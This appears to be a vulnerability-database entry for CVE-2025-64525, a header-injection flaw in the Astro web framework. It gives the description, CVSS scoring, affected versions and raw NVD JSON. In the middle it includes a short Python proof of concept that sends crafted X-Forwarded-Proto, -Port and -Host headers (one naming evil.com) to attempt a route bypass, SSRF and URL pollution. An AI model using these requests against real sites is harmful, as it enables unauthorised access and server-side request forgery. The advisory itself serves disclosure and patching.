Security Vulnerability Report
中文
CVE-2025-64525 CVSS 6.5 MEDIUM

CVE-2025-64525

Published: 2025-11-13 16:15:56
Last Modified: 2025-11-25 15:14:03

Description

Astro is a web framework. In Astro versions 2.16.0 up to but excluding 5.15.5 which utilizeon-demand rendering, request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences, the most important of which are: middleware-based protected route bypass (only via `x-forwarded-proto`), DoS via cache poisoning (if a CDN is present), SSRF (only via `x-forwarded-proto`), URL pollution (potential SXSS, if a CDN is present), and WAF bypass. Version 5.15.5 contains a patch.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:* - VULNERABLE
Astro >= 2.16.0 且 < 5.15.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-64525 PoC - Request Header Injection in Astro Framework # Target: Astro application with on-demand rendering mode target_url = "http://target-astro-app.com/protected-page" # PoC 1: Middleware bypass via x-forwarded-proto headers_middleware_bypass = { "X-Forwarded-Proto": "http", # Force HTTP to bypass HTTPS checks "Host": "target-astro-app.com" } # PoC 2: SSRF attempt via x-forwarded-proto headers_ssrf = { "X-Forwarded-Proto": "http://internal-network", # Attempt SSRF "X-Forwarded-Host": "target-astro-app.com" } # PoC 3: URL pollution via x-forwarded-port headers_port_pollution = { "X-Forwarded-Proto": "https", "X-Forwarded-Port": "8443", # Manipulate port "X-Forwarded-Host": "evil.com" # Additional host manipulation } # Send malicious requests print("Sending middleware bypass request...") response1 = requests.get(target_url, headers=headers_middleware_bypass) print(f"Status: {response1.status_code}") print("\nSending SSRF probe request...") response2 = requests.get(target_url, headers=headers_ssrf) print(f"Status: {response2.status_code}") print("\nSending URL pollution request...") response3 = requests.get(target_url, headers=headers_port_pollution) print(f"Status: {response3.status_code}") # Check for vulnerability indicators if response1.status_code == 200: print("\n[!] Potential vulnerability: Request processed with manipulated header")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64525", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:56.447", "lastModified": "2025-11-25T15:14:02.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. In Astro versions 2.16.0 up to but excluding 5.15.5 which utilizeon-demand rendering, request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences, the most important of which are: middleware-based protected route bypass (only via `x-forwarded-proto`), DoS via cache poisoning (if a CDN is present), SSRF (only via `x-forwarded-proto`), URL pollution (potential SXSS, if a CDN is present), and WAF bypass. Version 5.15.5 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.16.0", "versionEndExcluding": "5.15.5", "matchCriteriaId": "1C5C6C54-B40E-40C9-B3EF-905E2A559278"}]}]}], "references": [{"url": "https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}